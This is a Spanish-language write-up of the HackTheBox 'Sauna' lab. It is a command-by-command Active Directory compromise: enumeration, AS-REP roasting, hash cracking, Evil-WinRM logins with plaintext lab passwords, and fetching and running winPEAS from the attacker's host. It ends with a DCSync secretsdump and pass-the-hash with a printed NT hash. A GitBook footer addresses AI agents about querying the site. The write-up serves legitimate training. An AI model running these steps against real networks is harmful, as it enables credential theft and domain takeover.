> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/sauna-hackthebox-writeup.md). # Resolución de HackTheBox Sauna {% embed url="" %} {% hint style="warning" %} **Habilidades**: * Fuga de información * Enumeración LDAP * Enumeración de usuarios de Kerberos - Kerbrute * Ataque AS-REP Roasting (GetNPUsers) * Cracking de hashes * Enumeración del sistema - WinPEAS * Credenciales de AutoLogon * BloodHound - SharpHound.ps1 * Ataque DCSync - Secretsdump (Escalada de privilegios) * Pass-the-Hash {% endhint %} ## Reconocimiento **Configuración del espacio de trabajo:** Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

**Comprobación de conectividad VPN** Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

**Descubrimiento de puertos abiertos con Nmap:** ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.175 -oG allPorts ```

**Análisis de puertos abiertos con extractport:**/ Usando la función extractport para mostrar de forma concisa los puertos abiertos y copiarlos al portapapeles.

**Escaneo de versión de puertos con Nmap:**/ Usar Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted": ```bash nmap -sCV -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49668,49675,49676,49677,49736,49802 10.10.10.175 -oN targeted ```

## **Enumeración y explotación:** ### **Reconocimiento SMB:** Uso de CrackMapExec para identificar el sistema operativo ```bash crackmapexec smb 10.10.10.175 ```

Para resolver nombres de dominio a direcciones IP mediante DNS, se inserta el nombre de dominio asociado con su dirección IP en el `/etc/hosts` archivo.

#### Explorando el uso compartido de SMB en la red para identificar recursos compartidos, pero sin resultados. ```bash crackmapexec smb 10.10.10.175 --shares ```

```bash smbmap -H 10.10.10.175 -u 'null' ```

```bash smbclient -L 10.10.10.175 -N ```

### **Reconocimiento RPC:** Uso de rpcclient para interactuar con servicios CPP y recopilar información de recursos ```bash rpcclient -U "" 10.10.10.175 -N enumdomusers ```

### **Reconocimiento LDAP:** {% embed url="" %} #### Análisis de la información LDAP para detalles sobre la estructura del dominio y los usuarios. ```bash ldapsearch -x -H ldap://10.10.10.175 -s base namingcontexts ```

**Análisis de la información LDAP** Análisis de detalles sobre la estructura del dominio y los usuarios. ```bash ldapsearch -x -H ldap://10.10.10.175 -b 'DC=EGOTISTICAL-BANK,DC=LOCAL ``` **Filtrado de usuarios LDAP** Filtro para obtener solo usuarios LDAP. ```bash ldapsearch -x -H ldap://10.10.10.175 -b 'DC=EGOTISTICAL-BANK,DC=LOCAL' | grep "dn: CN=" | sed 's/dn: CN=//;s/,DC=EGOTISTICAL-BANK,DC=LOCAL//' ```

### Lista de usuarios:

#### Crea un `users.txt` archivo que contiene posibles nombres de usuario. ``` hugosmith h.smith hugo.smith hsmith fergussmith f.smith fergus.smith fsmith hugobear h.bear hugo.bear hbear stevenkerb s.kerb steven.kerb skerb shauncoins s.coins shaun.coins scoins bowietaylor b.taylor bowie.taylor btaylor sophiedriver s.driver sophie.driver sdriver ``` ### **Lista de usuarios mediante Kerberos** Usando `kerbrute` para listar usuarios válidos. ```bash ./kerbrute userenum -d egotistical-bank.local --dc 10.10.10.175 users.txt ```

### **Lista de usuarios mediante Impacket** Usando `impacket-GetNPUsers` para listar usuarios válidos sin contraseñas. ```bash impacket-GetNPUsers egotistical-bank.local/ -no-pass -usersfile users.txt ```

### Ataque de fuerza bruta: Usando John para crackear el hash recuperado.

john --wordlist=/usr/share/wordlists/rockyou.txt hash

#### Conexión y control remoto Usando WinRM para conectar de forma remota. ```bash crackmapexec smb 10.10.10.175 -u 'fsmith' -p 'Thestrokes23' ``` #### Funciona, pero sin la marca pwned no es posible conectarse a través de WinRM.

En este ejemplo, la conexión es posible porque el usuario fsmith es miembro del grupo /\*Remote Management Users ```bash crackmapexec winrm 10.10.10.175 -u 'fsmith' -p 'Thestrokes23' ```

#### **Inicio de sesión con Evil-WinRM** Usando Evil-WinRM para una conexión interactiva mediante WinRM. ```bash evil-winrm -i 10.10.10.175 -u 'fsmith' -p 'Thestrokes23' ```

## Escalada de privilegios: #### **Comprobación de privilegios especiales:** Usando `whoami /priv` para comprobar privilegios especiales.

#### **Buscar nuevos usuarios** Usando `net user` para buscar nuevos usuarios.

**Búsqueda de credenciales para el usuario "svc/ loanmgr"** ### **Reconocimiento con** winPEAS.exe {% embed url="" %} Descargar y ejecutar la herramienta de reconocimiento winPEAS ```bash Invoke-WebRequest -Uri "http://10.10.14.4:445/winPEASx64.exe" -OutFile "winPEAS.exe" ./winPEAS.exe ```

### Validación de IDs encontrados con crackmapexec: Se han encontrado credenciales de inicio de sesión automático para el usuario `svc_loanmgr` con la contraseña

#### Usando crackmapexec para validar que la contraseña es correcta. ```bash crackmapexec winrm 10.10.10.175 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!' ```

### Conexión con IDs "svc/ loanmgr": ```bash evil-winrm -i 10.10.10.175 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!' ```

## Listado del dominio con Bloodhound:

Instalación de BloodHound:

```bash apt install neo4j bloodhound neo4j console &> /dev/null & disown lsof -i:7474 ``` #### Conexión a Bloodhound con credenciales neo4j:neo4j.

#### Iniciando BloodHound. ```bash bloodhound &> /dev/null & disown ```

### Recopilar información con SharpHound.ps1 {% embed url="" %}

### Transferencia de los datos recopilados a Linux e importación en Bloodhound #### Crear un archivo .zip con los resultados de la recopilación. ```bash Import-Module ./sharhound.ps1 Invoke-BloodHound -CollectionMethod All ``` #### Descargar el archivo zip desde la máquina Windows a Linux. ```powershell download PS C:/windows/temp/privesc/file.zip file.zip ``` #### Importar archivo zip en Bloodhound.

### Análisis y operación: #### Filtrar para la ruta más corta hacia administración

#### La herramienta indica la posibilidad de realizar un ataque DCSync.

## Vulnerabilidad: ataque DCSync: {% embed url="" %} #### Usando secretsdump para obtener el hash NT del usuario administrador. ```bash impacket-secretsdump EGOTISTICAL-BANK.LOCAL/svc_loanmgr@10.10.10.175 ```

#### Usando psexec para ejecutar un cmd como administrador usando el hash NT. ```bash impacket-psexec EGOTISTICAL-BANK.LOCAL/Administrator@10.10.10.175 cmd.exe -hashes :823452073d75b9d1cf70ebdf86c7f98e ```

### Bandera final :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/sauna-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.